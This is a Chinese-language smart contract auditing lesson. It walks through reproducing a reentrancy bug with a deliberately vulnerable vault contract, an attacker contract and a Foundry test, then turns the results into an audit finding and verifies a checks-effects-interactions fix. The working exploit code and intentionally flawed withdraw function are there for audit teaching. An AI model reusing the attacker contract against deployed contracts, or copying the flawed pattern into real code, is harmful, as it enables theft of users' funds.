智能合约与以太坊 / 系统课时
为审计发现附上攻击证据
为审计发现附上攻击证据
智能合约审计报告不能只写“存在重入风险”,还需要证明漏洞在什么条件下能够触发、攻击者实际获得什么结果,以及修复后为什么不再成立。本课使用一个可复现的重入漏洞,完成从最小攻击交易到审计证据整理的全过程。
学习目标
- 使用固定环境记录漏洞前提、受影响函数和攻击交易。
- 编写最小复现测试,提供交易结果、余额变化和可核查断言。
- 将攻击证据、影响范围和修复建议整理成可复核的审计发现。
明确漏洞前提与证据范围
假设正在审计一个允许用户存入和取出 ETH 的资金合约。目标函数是 withdraw():它先向调用者发送 ETH,随后才扣减账户余额。攻击者可以在接收 ETH 时通过 receive() 再次调用 withdraw(),利用余额尚未更新的窗口重复提款。
在报告里,需要把攻击能够成功的条件写成可以验证的事实,而不是笼统地标注“可能被攻击”。
| 证据字段 | 本次复现内容 |
|---|---|
| 漏洞类型 | 重入攻击,违反检查-生效-交互顺序 |
| 受影响函数 | VulnerableVault.withdraw(uint256) |
| 攻击入口 | 恶意合约的 receive() |
| 攻击者权限 | 无需管理员权限,普通存款用户即可触发 |
| 资金前提 | 金库已有其他用户存入的 ETH |
| 核心缺陷 | 外部 ETH 转账发生在余额扣减之前 |
| 可观察结果 | 攻击者提取超过自身存款额度的 ETH |
审计记录还应写明编译器版本、测试框架版本、合约源码的 Git commit、网络或本地链标识。若使用真实部署环境,还需提供链 ID、合约地址、区块高度与交易哈希。本课采用本地 Foundry 测试,不编造链上交易哈希。
构造最小攻击交易
下面使用 Solidity 0.8.24 和 Foundry。测试环境需要已安装与项目匹配的 forge,并且能够获取 OpenZeppelin 以外的零依赖 Solidity 合约。本示例不依赖第三方合约库。
先在测试项目根目录创建 test/ReentrancyEvidence.t.sol。完整代码包含存在缺陷的金库、攻击合约和复现测试,能够直接作为独立测试文件使用。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import {Test} from "forge-std/Test.sol";
contract VulnerableVault {
mapping(address => uint256) public balances;
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdraw(uint256 amount) external {
require(balances[msg.sender] >= amount, "insufficient");
// 缺陷:先向外部地址转账,再扣减内部余额
(bool ok, ) = msg.sender.call{value: amount}("");
require(ok, "transfer failed");
balances[msg.sender] -= amount;
}
}
contract ReentrancyAttacker {
VulnerableVault public immutable vault;
uint256 public remaining;
constructor(VulnerableVault target) {
vault = target;
}
function attack() external payable {
require(msg.value == 1 ether, "need 1 ETH");
remaining = 1;
vault.deposit{value: 1 ether}();
vault.withdraw(1 ether);
}
receive() external payable {
// 仅重入一次,避免最终扣款触发下溢而回滚
if (remaining > 0) {
remaining -= 1;
vault.withdraw(1 ether);
}
}
}
contract ReentrancyEvidenceTest is Test {
function test_AttackerDrainsVictimDeposit() public {
VulnerableVault vault = new VulnerableVault();
ReentrancyAttacker attacker = new ReentrancyAttacker(vault);
address victim = makeAddr("victim");
address operator = makeAddr("operator");
vm.deal(victim, 1 ether);
vm.deal(operator, 1 ether);
vm.prank(victim);
vault.deposit{value: 1 ether}();
// 攻击者存入 1 ETH,却通过重入提取 2 ETH
vm.prank(operator);
attacker.attack{value: 1 ether}();
assertEq(address(attacker).balance, 2 ether);
assertEq(address(vault).balance, 0);
assertEq(vault.balances(victim), 1 ether);
assertEq(vault.balances(address(attacker)), 0);
}
}这里特意将攻击限制为一次重入。Solidity 0.8 起默认检查整数下溢,如果攻击者在同一余额上递归提款三次,最终可能因重复扣款下溢而导致整笔交易回滚。限制为两次提款可以准确证明:攻击者初始存入 1 ETH,却从包含其他用户资金的金库中取走 2 ETH。
执行测试前,确认项目已通过 forge init 初始化,且 lib/forge-std 存在。然后运行:
forge test --match-test test_AttackerDrainsVictimDeposit -vvv预期输出(以下是关键结果摘录,耗时和编译日志随环境变化):
[PASS] test_AttackerDrainsVictimDeposit()
Suite result: ok. 1 passed; 0 failed该结果只能证明断言通过,不能单独证明攻击细节。需要同时保存测试源码、执行命令和更详细的调用轨迹,供审计复核。
用交易轨迹证明漏洞已经触发
攻击证据必须关联前置状态、实际调用和结束状态。对本地测试而言,可以使用 Foundry 的详细执行轨迹代替公共链上的交易哈希。
执行以下命令显示通过测试的完整轨迹:
forge test --match-test test_AttackerDrainsVictimDeposit -vvvv预期结果:测试通过,并展示包含两次 VulnerableVault.withdraw(1000000000000000000) 调用的调用轨迹。由于合约地址、Gas 消耗和轨迹缩进由测试环境决定,不应把固定地址或 Gas 数值写进正式证据。

对应的余额证据如下,单位均为 ETH。攻击交易的转入资金和合约收到的提款应分别计量,不能把调用者最终钱包余额误当作漏洞收益。
| 检查对象 | 攻击前(双方存款完成) | 攻击后 |
|---|---|---|
| 金库实际 ETH 余额 | 2 | 0 |
| 恶意合约 ETH 余额 | 0 | 2 |
| 受害者账面余额 | 1 | 1 |
| 攻击者账面余额 | 1 | 0 |
在本地算例中,恶意合约提取了 2 ETH,其中 1 ETH 对应攻击者自己的存款,另外 1 ETH 来自其他用户的资金。攻击者净获得 1 ETH;受害者账面余额仍为 1 ETH,但金库已经没有 ETH 可用于兑付。
需要特别注意:测试通过不代表在所有部署状态下都能够获利。审计报告应将“本地已复现”与“生产网络实际遭受攻击”明确区分,不能把模拟调用记录写成真实链上攻击事件。
将证据整理成可复核的审计发现
一条合格的审计发现,至少要允许另一名工程师使用相同代码版本复现相同资产损失。以下内容可以直接作为审计报告条目的基础模板。
| 报告字段 | 应填写的证据 |
|---|---|
| 发现编号 | SC-REENTRANCY-001 |
| 标题 | withdraw 在余额更新前执行外部转账,可导致重复提款 |
| 严重程度 | 高危(基于示例中无需特权且可直接损失资金的条件) |
| 影响位置 | VulnerableVault.withdraw(uint256) 的低级 call 与后续余额扣减 |
| 前置条件 | 金库存在其他用户存款,攻击者可以部署接收 ETH 的合约 |
| 攻击路径 | 存入 1 ETH、首次提款、回调再次提款 |
| 最小证据 | test_AttackerDrainsVictimDeposit 测试和 -vvvv 调用轨迹 |
| 实际结果 | 攻击者存入 1 ETH,提取 2 ETH,金库余额变为 0 |
| 预期安全行为 | 同一笔 1 ETH 存款最多允许成功提取 1 ETH |
| 修复建议 | 在外部转账之前完成状态更新,必要时增加重入锁 |
严重程度应结合实际部署条件重新评定。如果生产合约存在提现限额、可暂停机制或独立资金隔离规则,需要明确这些控制是否真正阻断攻击,而不是直接照搬示例的高危结论。
正式报告附件建议包含测试文件、精确的 Git commit、forge --version 结果、编译器版本、执行命令、原始测试日志,以及定位到具体源码行的链接。保存日志时应保持原始内容,避免只截取成功字样而丢失调用上下文。
如果是真实链上漏洞,应另外附上交易哈希、链 ID、受影响合约地址、交易发生区块及可公开验证的状态变化。涉及第三方资金或未公开漏洞时,应使用授权测试环境并按负责任披露流程处理,不要在生产链上实际提款验证。
修复后验证攻击条件已被切断
针对该案例,首先采用检查-生效-交互模式,把内部余额扣减移到外部 ETH 转账之前。以下是对原合约 withdraw 函数的替换片段,依赖前面定义的 balances 状态变量。
function withdraw(uint256 amount) external {
require(balances[msg.sender] >= amount, "insufficient");
// 先更新余额,使重入调用无法重复使用同一存款
balances[msg.sender] -= amount;
(bool ok, ) = msg.sender.call{value: amount}("");
require(ok, "transfer failed");
}这段代码是修复片段,不是单独可编译的合约。将它替换到前面的 VulnerableVault 中,再执行同一条测试命令:
forge test --match-test test_AttackerDrainsVictimDeposit -vvv预期结果:原攻击测试不再通过,原因是第二次提款时,攻击者账面余额已经提前扣减为 0,触发 insufficient,并使攻击交易回滚。原有的 assertEq 断言不会执行到最后。
如果采用 OpenZeppelin 的 ReentrancyGuard,还应确认项目使用的具体依赖版本,并通过 nonReentrant 保护相关入口。重入锁可阻止受保护入口的递归进入,但不能替代对跨函数共享状态、资产核算和授权逻辑的完整审查。
最终在审计报告中把修复前后的代码版本、测试结果与对应证据关联起来。只有其他审计人员能够从固定代码版本重现攻击、确认资产变化,并在修复版本验证攻击失效,这条漏洞证据才构成可以交付的审计结论。